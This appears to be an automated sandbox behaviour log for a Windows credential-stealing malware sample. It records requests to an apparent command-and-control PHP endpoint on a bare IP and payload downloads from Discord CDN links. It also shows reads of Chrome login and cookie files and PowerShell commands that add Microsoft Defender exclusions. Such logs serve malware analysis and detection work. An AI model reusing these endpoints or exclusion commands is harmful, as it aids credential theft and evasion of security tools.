request GET http://188.120.247.145/scriptdemo/Warsystem/CpubinMathprogram/antisystemPythonphp/recordrecord/coreCpuCam/bin/supporthtop/cutgameMathgenerator/recordrecordCpuCam/loglogCamsystem/phpmobileCamCam/linuxWordpressdatalifecdnTemporary.php?BRnh4=7pVTZBf9GU&gyC1lTzSDDchANH4lx1y1RZev62mdE=ej10xqPa7yO0OeHVFS&39b69d362f51fb0180e3753d06acef2f=QY3cjZjJDZxQjZ0czNhFjM4MGM5UTMhRWZ3kzYmVTMhRDOiVDNjNzMwUDMzMDM0gTMygzNzEzM&0f1a5cdcbe121b534316670b7861f3bc=gZ5ImZ5ETOxMmN0kjZkRWZwUTMxkDO5QjYzEjYjRzNlFmM3ATNxYzN&16a1bd48dc8a4465093dd8dee2d8ec90=0VfiElZpVFVORDOxE1Y4ZkTyMWMUhlTYVGV4ZEW6R2MitWNXFGW4ZEW200aJZTSDFGMGdUVpdXaJFDND5UavpWS1lzVhpnSYp1V012Y2RGWaRnRtN2RKNETpRjMkZXNyEWdWxWS2k0QhBjRHV1aKNjYq5EWhVkSDxUa0IDZ2VjMhVnVslkNJNUYwY0RVRnRtNmbWdkYsJFbJNXSplkNJl3Y3JEWRRnRXpFMOxWSzlUaiNTOtJmc1clVp9maJVEbrNGbOhlV0Z0VaBjTsl0cJlmYzkTbiJXNXZVavpWS5ZlMjZVMXlFbSNTVpdXaJVHZzIWd01mYWpUaPl2YtJGa4VlYoZ1RkRlSDxUa0IDZ2VjMhVnVslkNJNUYwY0RVRnRXpFMOxWSzlUaiNmSIhFerZVUNJUMVpkUFh1Y1MEWjhnRYl2bqlke1clWsp0MZRlSDxUaJBjUnVlaJZTSTRlQKxWSzl0QNVXOXFGMG12Y2JkbjZnTFlEb4JTWop0MUl2bql0aKhVW2pUbjxGaHRmdxsWSzl0URZHNrlkNJNkYzZkMkxmSYF2RKNETpVEMM9kSp9UaNhFZ5xWbkBnUuJmQKNETpRjMkZXNyEWdWxWS2k0QVpUNVFVTKNETpd2aZRHZFlkcWdEZ2VTbiBnSp9UaNFDVKp0aJNXSTtUWtx0NsZjS3cGOXF2aWhVUnRjMiBnUYFWds1mWsJVRJ9GZXFWSoNkcCJzT0RWePlmb1VXS2kUejxWNyI2bCNjY550Vh5kSDxUaJl2Tp1EWihmTtlFbkxWSzlUallEZF1EN0kWTnFURJZlQxE1ZBRUTwcGVMFzaHlEcwUkVvVVbjZnTFlEcJZ0SzZ1RkVHbrlkNJNlW0ZUbUZlQxEVa3lWSDJ0QNdGMDl0dTl1NSlHN2ATYKdzZwwEb0pGcuJna3QXcENVUIplRJF0ULdzYHp1Np9maJxWMXl1TWZUVIpUelJiOiYDZhljY2IDNiRjZ5YTN4YGN5AzN4AzNxImN1IzY0IGNiwiI3UzYjJ2M0YjZ4IGNkZ2MyUDNiJDM0gDMlVzNiJWN0IjZlNWZ2MDMxIiOikzY3QTOxgTM5IGMwE2Y5QTNmV2MjlDZxATZiRTMyQDOiwiIhZDZmRjM0ETYwEDNkZWNwczYjR2MyYGN0MWMiJTYmNmM3E2YkNjZ3IiOiEWZzkDMlVTOxImM1QmMlRDM2YmY2QjZxYWO5gzYkVzMis3W
request GET http://188.120.247.145/scriptdemo/Warsystem/CpubinMathprogram/antisystemPythonphp/recordrecord/coreCpuCam/bin/supporthtop/cutgameMathgenerator/recordrecordCpuCam/loglogCamsystem/phpmobileCamCam/linuxWordpressdatalifecdnTemporary.php?BRnh4=7pVTZBf9GU&gyC1lTzSDDchANH4lx1y1RZev62mdE=ej10xqPa7yO0OeHVFS&39b69d362f51fb0180e3753d06acef2f=QY3cjZjJDZxQjZ0czNhFjM4MGM5UTMhRWZ3kzYmVTMhRDOiVDNjNzMwUDMzMDM0gTMygzNzEzM&0f1a5cdcbe121b534316670b7861f3bc=gZ5ImZ5ETOxMmN0kjZkRWZwUTMxkDO5QjYzEjYjRzNlFmM3ATNxYzN&6cf5e4104872872b39c54edbb9e8d6a7=QX9JSUNJiOiYDZhljY2IDNiRjZ5YTN4YGN5AzN4AzNxImN1IzY0IGNiwiIzQDOzkzNmNjZhJTYlVWZwAjZhVWNlJWOmFTM4cTZ3UjMjZGO1YmYzIiOikzY3QTOxgTM5IGMwE2Y5QTNmV2MjlDZxATZiRTMyQDOiwiIhZDZmRjM0ETYwEDNkZWNwczYjR2MyYGN0MWMiJTYmNmM3E2YkNjZ3IiOiEWZzkDMlVTOxImM1QmMlRDM2YmY2QjZxYWO5gzYkVzMis3W
request POST http://188.120.247.145/scriptdemo/Warsystem/CpubinMathprogram/antisystemPythonphp/recordrecord/coreCpuCam/bin/supporthtop/cutgameMathgenerator/recordrecordCpuCam/loglogCamsystem/phpmobileCamCam/linuxWordpressdatalifecdnTemporary.php?BRnh4=7pVTZBf9GU&gyC1lTzSDDchANH4lx1y1RZev62mdE=ej10xqPa7yO0OeHVFS&39b69d362f51fb0180e3753d06acef2f=QY3cjZjJDZxQjZ0czNhFjM4MGM5UTMhRWZ3kzYmVTMhRDOiVDNjNzMwUDMzMDM0gTMygzNzEzM&0f1a5cdcbe121b534316670b7861f3bc=gZ5ImZ5ETOxMmN0kjZkRWZwUTMxkDO5QjYzEjYjRzNlFmM3ATNxYzN
request GET https://cdn.discordapp.com/attachments/893177342426509335/896364502570901514/7DB3BF04.jpg
request GET https://cdn.discordapp.com/attachments/893177342426509335/896364505993478164/1584E3DD.jpg
request GET https://cdn.discordapp.com/attachments/893177342426509335/896364508291924018/EA731B75.jpg
request POST http://188.120.247.145/scriptdemo/Warsystem/CpubinMathprogram/antisystemPythonphp/recordrecord/coreCpuCam/bin/supporthtop/cutgameMathgenerator/recordrecordCpuCam/loglogCamsystem/phpmobileCamCam/linuxWordpressdatalifecdnTemporary.php?BRnh4=7pVTZBf9GU&gyC1lTzSDDchANH4lx1y1RZev62mdE=ej10xqPa7yO0OeHVFS&39b69d362f51fb0180e3753d06acef2f=QY3cjZjJDZxQjZ0czNhFjM4MGM5UTMhRWZ3kzYmVTMhRDOiVDNjNzMwUDMzMDM0gTMygzNzEzM&0f1a5cdcbe121b534316670b7861f3bc=gZ5ImZ5ETOxMmN0kjZkRWZwUTMxkDO5QjYzEjYjRzNlFmM3ATNxYzN
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 732
region_size: 1769472
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b50000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00cc0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72741000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72742000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 732
region_size: 1769472
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x025b0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02720000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00292000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x002ac000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00720000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x002c5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x002cb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x002c7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00721000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00722000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x002b6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x002ba000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x002b7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0029a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x002bb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x002aa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0029c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00723000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00724000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
process_handle: 0xffffffff
1 0 0
description mobsync.exe tried to sleep 256 seconds, actually delayed analysis time by 256 seconds
Time & API Arguments Status Return Repeated

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 13722783744
free_bytes_available: 13722783744
root_path: C:\
total_number_of_bytes: 34252779520
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 13720264704
free_bytes_available: 13720264704
root_path: C:\
total_number_of_bytes: 34252779520
1 1 0
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing Cookies-journal
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal
file C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Cookies
file C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Login Data
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\LocalPrefs.json
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Web Data-journal
file C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Web Data-journal
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State
file C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\LocalPrefs.json
file C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Local State
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Cookies-journal
file C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Web Data
file C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Local State
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing Cookies
file C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local State
file C:\Users\test22\AppData\Local\Temp\0e58a2a5-3589-4737-ae5b-777a813cb6af\test.bat
file C:\Users\test22\AppData\Local\Temp\131cd417-c2a4-4cac-93da-b919652652f2\AdvancedRun.exe
file C:\Users\test22\AppData\Local\Temp\0e58a2a5-3589-4737-ae5b-777a813cb6af\AdvancedRun.exe
file C:\Users\test22\AppData\Local\Temp\131cd417-c2a4-4cac-93da-b919652652f2\test.bat
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\96.exe" -Force
cmdline powershell Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\96.exe" -Force
cmdline powershell Add-MpPreference -ExclusionPath "C:\Windows\SysWOW64\C_855\mobsync.exe" -Force
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\SysWOW64\C_855\mobsync.exe" -Force
file C:\Users\test22\AppData\Local\Temp\131cd417-c2a4-4cac-93da-b919652652f2\AdvancedRun.exe
file C:\Users\test22\AppData\Local\Temp\131cd417-c2a4-4cac-93da-b919652652f2\AdvancedRun.exe
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\AppData\Local\Temp\131cd417-c2a4-4cac-93da-b919652652f2\AdvancedRun.exe
parameters: /EXEFilename "C:\Users\test22\AppData\Local\Temp\131cd417-c2a4-4cac-93da-b919652652f2\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
filepath: C:\Users\test22\AppData\Local\Temp\131cd417-c2a4-4cac-93da-b919652652f2\AdvancedRun.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\96.exe" -Force
filepath: powershell
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Windows\System32\C_855\mobsync.exe
parameters:
filepath: C:\Windows\System32\C_855\mobsync.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\AppData\Local\Temp\0e58a2a5-3589-4737-ae5b-777a813cb6af\AdvancedRun.exe
parameters: /EXEFilename "C:\Users\test22\AppData\Local\Temp\0e58a2a5-3589-4737-ae5b-777a813cb6af\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
filepath: C:\Users\test22\AppData\Local\Temp\0e58a2a5-3589-4737-ae5b-777a813cb6af\AdvancedRun.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: Add-MpPreference -ExclusionPath "C:\Windows\SysWOW64\C_855\mobsync.exe" -Force
filepath: powershell
1 1 0
Time & API Arguments Status Return Repeated

Process32FirstW

 snapshot_handle: 0x00000108
process_name: [System Process]
process_identifier: 0
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: System
process_identifier: 4
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: smss.exe
process_identifier: 224
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: csrss.exe
process_identifier: 300
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: wininit.exe
process_identifier: 348
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: csrss.exe
process_identifier: 364
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: winlogon.exe
process_identifier: 396
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: services.exe
process_identifier: 440
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: lsass.exe
process_identifier: 456
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: lsm.exe
process_identifier: 464
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: svchost.exe
process_identifier: 568
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: svchost.exe
process_identifier: 640
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: svchost.exe
process_identifier: 700
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: svchost.exe
process_identifier: 776
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: svchost.exe
process_identifier: 824
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: audiodg.exe
process_identifier: 892
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: svchost.exe
process_identifier: 968
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: svchost.exe
process_identifier: 264
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: spoolsv.exe
process_identifier: 820
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: svchost.exe
process_identifier: 292
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: svchost.exe
process_identifier: 1192
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: srvany.exe
process_identifier: 1244
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: taskhost.exe
process_identifier: 1284
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: KMService.exe
process_identifier: 1324
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: conhost.exe
process_identifier: 1376
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: sppsvc.exe
process_identifier: 1800
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: svchost.exe
process_identifier: 1876
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: dwm.exe
process_identifier: 1496
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: explorer.exe
process_identifier: 1848
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: WmiPrvSE.exe
process_identifier: 1916
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: pw.exe
process_identifier: 2816
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: SearchIndexer.exe
process_identifier: 2940
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: SearchProtocolHost.exe
process_identifier: 1480
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: SearchFilterHost.exe
process_identifier: 3040
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: SearchProtocolHost.exe
process_identifier: 2120
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: mobsync.exe
process_identifier: 2064
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: pw.exe
process_identifier: 2368
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: taskhost.exe
process_identifier: 752
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: 96.exe
process_identifier: 732
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: AdvancedRun.exe
process_identifier: 2056
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: TrustedInstaller.exe
process_identifier: 2936
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: WmiPrvSE.exe
process_identifier: 2356
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: mobsync.exe
process_identifier: 2388
1 1 0

Process32NextW

 snapshot_handle: 0x00000108
process_name: AdvancedRun.exe
process_identifier: 2672
1 1 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
